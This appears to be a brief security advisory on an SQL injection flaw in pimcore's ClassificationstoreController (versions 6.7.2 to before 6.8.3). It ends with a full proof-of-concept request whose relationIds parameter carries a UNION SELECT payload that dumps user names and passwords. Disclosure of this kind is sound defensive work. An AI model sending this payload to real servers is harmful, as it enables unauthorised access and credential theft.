The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{"keyId"%3a"''","groupId"%3a"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+"}]
